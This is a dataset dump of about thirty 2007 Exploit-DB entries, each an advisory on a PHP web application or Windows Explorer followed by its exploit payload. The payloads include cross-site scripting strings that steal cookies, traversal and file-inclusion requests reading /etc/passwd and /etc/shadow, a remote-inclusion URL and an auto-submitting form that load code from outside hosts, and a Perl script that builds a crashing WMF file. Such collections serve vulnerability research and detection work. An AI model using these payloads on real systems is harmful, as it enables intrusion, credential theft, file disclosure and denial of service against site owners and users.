QLWD/code_shield huggingface dataset:
标题: SQLiteManager 1.2 - 'main.php' Multiple HTML Injection Vulnerabilities EDB-ID: 29680 CVE: 2007-1231 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/22731/info

SQLiteManager is prone to multiple HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input data.

Exploiting these issues may allow an attacker to execute HTML and script code in the context of the affected site, to steal cookie-based authentication credentials, or to control how the site is rendered to the user; other attacks are also possible.

Version 1.2.0 is vulnerable; other versions may also be affected. 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <body> <form id="editform" name="editform" method="post" action="http://www.example.com/sqlitemanager/main.php" enctype="multipart/form-data"> <input type="text" name="dbname" value='"><script src=http://www.0x000000.com/x.js></script><"' /> <input type="text" name="dbVersion" value="2" /> <input type="text" name="dbRealpath" value="" /> <input type="text" name="filename" value="" /> <input type="text" name="dbpath" value="" /> <input type="text" name="action" value="saveDb" /> <input name="Save" value="Save page" type="submit"> </form> <script>document.forms[0].submit();</script> </body> </html> URL: https://www.exploit-db.com/exploits/29680
标题: Microsoft Windows XP/2003 - Explorer '.WMF' File Handling Denial of Service EDB-ID: 29659 CVE: 2007-1090 类型: DOS 平台: WINDOWS 发布日期: 2007-02-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/22715/info

Microsoft Windows Explorer is prone to a denial-of-service vulnerability.

A remote attacker may exploit this vulnerability by presenting a malicious file to a victim user. Users do not have to open the file -- simply browsing a folder containing the malicious file is sufficient to trigger this issue.

A successful exploit will crash the vulnerable application, effectively denying service.

This issue may be related to BID 19365 (Microsoft Windows GDI32.DLL WMF Remote Denial of Service Vulnerability) or BID 21992 (Microsoft Windows Explorer WMF File Denial of Service Vulnerability). 

#!/usr/bin/perl

print "\nWMF PoC denial of service exploit by AzM";
print "\n\ngenerating crash.wmf...";
open(WMF, ">./crash.wmf") or die "cannot create wmf file\n";
print WMF "\x01\x00\x09\x00\x00\x03\x22\x00\x00\x00\x01\x00\x84\x43\x00\x00";
print WMF "\x00\x00\x10\x00\x00\x00\x26\x06\x0A\x00\x16\x00\x90\x90\x90\x90";
print WMF "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
print WMF "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x00\x03\x00";
print WMF "\x00\x00\x00\x00";
close(WMF);
print "Ok\n"; URL: https://www.exploit-db.com/exploits/29659
标题: SQLiteManager 1.2 - Local File Inclusion EDB-ID: 29665 CVE: 2007-1232 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/22727/info

SQLiteManager is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to view files and execute local scripts.

SQLiteManager 1.2.0 is vulnerable to this issue; other versions may also be affected. 

GET /home/sqlite/ HTTP/1.0
[...]
Cookie: PHPSESSID=[...];SQLiteManager_currentTheme=../../../../../../../../../../../../../etc/passwd%00;
SQLiteManager_currentLangue=deleted URL: https://www.exploit-db.com/exploits/29665
标题: PhotoStand 1.2 - 'index.php' Cross-Site Scripting EDB-ID: 29658 CVE: 2007-1101 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/22707/info

PhotoStand is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/index.php?page=search&q=<script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/29658
标题: SolarPay - 'index.php' Local File Inclusion EDB-ID: 29663 CVE: 2006-7099 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/22722/info

SolarPay is prone to a local file-include vulnerability because the utility fails to properly sanitize user-supplied input.

Successfully exploiting this issue allows attackers to gain access to files located in directories they do not have permissions to access. Information that attackers harvest may aid them in further attacks. 

http://www.example.com/index.php?read=../admin/a_searchu.php URL: https://www.exploit-db.com/exploits/29663
标题: Active Calendar 1.2 - '/data/mysqlevents.php?css' Cross-Site Scripting EDB-ID: 29653 CVE: 2007-1111 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/22705/info
       
Active Calendar is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
       
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
       
Active Calendar 1.2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/activecalendar/data/mysqlevents.php?css="><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/29653
标题: Docebo CMS 3.0.x - '/modules/htmlframechat/index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 29662 CVE: 2007-1240 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-24 漏洞利用脚本: Docebo is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
Docebo 3.0.5 and prior versions are vulnerable; other versions may also be affected. 

http://www.example.com/doceboScs/modules/htmlframechat/index.php?sn=<script>alert('XSS');</script> http://www.example.com/doceboScs/modules/htmlframechat/index.php?ri=<script>alert('XSS');</script> URL: https://www.exploit-db.com/exploits/29662
标题: Active Calendar 1.2 - '/data/y_3.php?css' Cross-Site Scripting EDB-ID: 29652 CVE: 2007-1111 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/22705/info
      
Active Calendar is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
      
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
      
Active Calendar 1.2.0 is vulnerable; other versions may also be affected. 

 http://www.example.com/activecalendar/data/y_3.php?css="><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/29652
标题: Docebo CMS 3.0.x - 'index.php?searchkey' Cross-Site Scripting EDB-ID: 29661 CVE: 2007-1240 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-24 漏洞利用脚本: Docebo is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Docebo 3.0.5 and prior versions are vulnerable; other versions may also be affected. 

http://www.example.com/doceboCms/index.php?searchkey=<script>alert('XSS');</script> URL: https://www.exploit-db.com/exploits/29661
标题: Active Calendar 1.2 - '/data/m_2.php?css' Cross-Site Scripting EDB-ID: 29648 CVE: 2007-1111 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/22705/info
  
Active Calendar is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
Active Calendar 1.2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/activecalendar/data/m_2.php?css="><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/29648
标题: Active Calendar 1.2 - '/data/y_2.php?css' Cross-Site Scripting EDB-ID: 29651 CVE: 2007-1111 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/22705/info
     
Active Calendar is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
     
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
     
Active Calendar 1.2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/activecalendar/data/y_2.php?css="><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/29651
标题: Active Calendar 1.2 - '/data/m_3.php?css' Cross-Site Scripting EDB-ID: 29649 CVE: 2007-1111 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/22705/info
   
Active Calendar is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
   
Active Calendar 1.2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/activecalendar/data/m_3.php?css="><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/29649
标题: Active Calendar 1.2 - '/data/m_4.php?css' Cross-Site Scripting EDB-ID: 29650 CVE: 2007-1111 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/22705/info
    
Active Calendar is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
    
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
    
Active Calendar 1.2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/activecalendar/data/m_4.php?css="><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/29650
标题: Simple one-file Gallery - 'gallery.php?f' Traversal Arbitrary File Access EDB-ID: 29642 CVE: 2007-1124 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/22700/info

Simple one-file gallery is prone to multiple input-validation vulnerabilities, including a local file-include issue and a cross-site scripting issue.

An attacker can exploit these issues to steal cookie-based authentication credentials and to view and execute arbitrary local files within the context of the affected webserver. Other attacks are also possible. 

http://www.example.com/gallery.php?f=../../../../../../../../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/29642
标题: Active Calendar 1.2 - '/data/flatevents.php?css' Cross-Site Scripting EDB-ID: 29646 CVE: 2007-1111 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/22705/info

Active Calendar is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Active Calendar 1.2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/activecalendar/data/flatevents.php?css="><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/29646
标题: LoveCMS 1.4 - 'step' Traversal Arbitrary File Access EDB-ID: 29637 CVE: 2007-1149 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/22675/info
 
LoveCMS is prone to multiple input-validation vulnerabilities, including an arbitrary-file-upload issue, a remote file-include issue, a local file-include issue, and a cross-site scripting issue.
 
An attacker can exploit these issues to steal cookie-based authentication credentials, upload an arbitrary PHP file, execute the file on the vulnerable computer in the context of the webserver process, retrieve arbitrary files from the vulnerable system in the context of the affected application, and delete arbitrary files on the server.
 
http://www.example.com/lovecms/install/index.php?step=/etc/passwd%00 URL: https://www.exploit-db.com/exploits/29637
标题: XT:Commerce 3.04 - 'index.php' Local File Inclusion EDB-ID: 29641 CVE: 2007-1126 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/22698/info

xt:Commerce is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to view files and execute local scripts.

xt:Commerce 3.04 and prior versions are vulnerable to this issue. 

http://www.example.com/index.php?currency=EUR&manufacturers_id=1&template=../../../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/29641
标题: LoveCMS 1.4 - 'load' Traversal Arbitrary File Access EDB-ID: 29638 CVE: 2007-1149 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/22675/info
  
LoveCMS is prone to multiple input-validation vulnerabilities, including an arbitrary-file-upload issue, a remote file-include issue, a local file-include issue, and a cross-site scripting issue.
  
An attacker can exploit these issues to steal cookie-based authentication credentials, upload an arbitrary PHP file, execute the file on the vulnerable computer in the context of the webserver process, retrieve arbitrary files from the vulnerable system in the context of the affected application, and delete arbitrary files on the server.
  
http://www.example.com//ovecms/?load=../../../../../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/29638
标题: Active Calendar 1.2 - 'showcode.php' Local File Inclusion EDB-ID: 29645 CVE: 2007-1110 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/22704/info

Active Calendar is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to view files and execute local scripts.

Version 1.2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/activecalendar/data/showcode.php?page=../../../../../../../../../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/29645
标题: Active Calendar 1.2 - '/data/js.php?css' Cross-Site Scripting EDB-ID: 29647 CVE: 2007-1111 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/22705/info
 
Active Calendar is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Active Calendar 1.2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/activecalendar/data/js.php?css="><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/29647
标题: Pickle 0.3 - 'download.php' Local File Inclusion EDB-ID: 29644 CVE: 2007-1100 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/22703/info

picKLE is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to view files and execute local scripts.

Version 0.3 is vulnerable to this issue; other versions may also be affected. 

http://www.example.com/Pickle/src/download.php?img=1&file=../../../../../../../../../../../../../etc/shadow&rotation=0&img=0 URL: https://www.exploit-db.com/exploits/29644
标题: Shop Kit Plus - 'StyleCSS.php' Local File Inclusion EDB-ID: 29640 CVE: 2007-1127 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/22697/info

Shop Kit Plus is prone to a local file-include vulnerability because it fails to adequately sanitize user-supplied data.

An attacker can exploit this vulnerability using directory-traversal strings to execute local script code in the context of the application. This may allow the attacker to access sensitive information that may aid in further attacks.

http://www.example.com/shopkitplus/enc/stylecss.php?changetheme=../../../../../../../../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/29640
标题: Simple one-file Gallery - 'gallery.php?f' Cross-Site Scripting EDB-ID: 29643 CVE: 2007-1125 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/22700/info
 
Simple one-file gallery is prone to multiple input-validation vulnerabilities, including a local file-include issue and a cross-site scripting issue.
 
An attacker can exploit these issues to steal cookie-based authentication credentials and to view and execute arbitrary local files within the context of the affected webserver. Other attacks are also possible.
 
http://www.example.com/gallery.php?f=[xss] URL: https://www.exploit-db.com/exploits/29643
标题: LoveCMS 1.4 - 'id' Cross-Site Scripting EDB-ID: 29639 CVE: 2007-1151 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/22675/info
   
LoveCMS is prone to multiple input-validation vulnerabilities, including an arbitrary-file-upload issue, a remote file-include issue, a local file-include issue, and a cross-site scripting issue.
   
An attacker can exploit these issues to steal cookie-based authentication credentials, upload an arbitrary PHP file, execute the file on the vulnerable computer in the context of the webserver process, retrieve arbitrary files from the vulnerable system in the context of the affected application, and delete arbitrary files on the server.
   
http://www.example.com/lovecms/?load=content&id=[xss] URL: https://www.exploit-db.com/exploits/29639
标题: LoveCMS 1.4 - 'step' Remote File Inclusion EDB-ID: 29636 CVE: 2007-1148 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/22675/info

LoveCMS is prone to multiple input-validation vulnerabilities, including an arbitrary-file-upload issue, a remote file-include issue, a local file-include issue, and a cross-site scripting issue.

An attacker can exploit these issues to steal cookie-based authentication credentials, upload an arbitrary PHP file, execute the file on the vulnerable computer in the context of the webserver process, retrieve arbitrary files from the vulnerable system in the context of the affected application, and delete arbitrary files on the server. 

http://www.example.com/lovecms/install/index.php?step=http://example2.com/boum.txt? URL: https://www.exploit-db.com/exploits/29636
标题: Pheap 1.x/2.0 - 'edit.php' Directory Traversal EDB-ID: 29635 CVE: 2007-1140 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/22670/info

Pheap is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to retrieve and edit the contents of arbitrary files from the vulnerable system in the context of the affected application. 

http://www.example.com/edit.php?em=file&filename=../../../../../../../../../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/29635
标题: Pyrophobia 2.1.3.1 - Cross-Site Scripting EDB-ID: 29631 CVE: 2007-1159 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/22667/info

Pyrophobia is prone to multiple input-validation vulnerabilities, including multiple local file-include issues and multiple cross-site scripting issues.

An attacker can exploit these issues to steal cookie-based authentication credentials, view files, and execute local scripts within the context of the affected webserver. Other attacks are also possible. 

http://www.example.com/modules/out.php?id=[xss] URL: https://www.exploit-db.com/exploits/29631
标题: Magic News Plus 1.0.2 - 'news.php?&link_parameters' Cross-Site Scripting EDB-ID: 29628 CVE: 2007-1142 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/22661/info
 
Magic News Pro is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input. These issues include a remote file-include issue and two cross-site scripting vulnerabilities.
 
An attacker can exploit these issues to execute arbitrary PHP code in the context of the webserver process or to steal cookie-based authentication credentials. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.
 
These issues affects version 1.0.2; other versions may also be vulnerable.
 
http://www.example.com/news.php?GLOBALS[]=1&link_parameters="><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/29628
标题: phpTrafficA 1.4.1 - 'plotStat.php?File' Traversal Local File Inclusion EDB-ID: 29625 CVE: 2007-1076 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/22655/info

phpTrafficA is prone to multiple directory-traversal vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker can exploit these vulnerabilities to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid the attacker in further attacks.

phpTrafficA version 1.4.1 is vulnerable to these issues. 

http://www.example.com/phpTrafficA/plotStat.php?file=/../../../../../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/29625
标题: Google Desktop - Cross-Site Scripting EDB-ID: 29623 CVE: 2007-1085 类型: WEBAPPS 平台: CGI 发布日期: 2007-02-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/22650/info

Google Desktop is prone to a cross-site scripting weakness because the application fails to properly sanitize user-supplied input.

Successful attacks must exploit this weakness in conjunction with a latent cross-site scripting vulnerability in the 'google.com' domain.

Attackers may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow attackers to access the contents of the Google Desktop search index or potentially to execute arbitrary code. 

http://127.0.0.1/path/search?q=%22%3E%3Cscript%3Ealert%28%27bl4ck%27%29%3C%2Fscript%3E URL: https://www.exploit-db.com/exploits/29623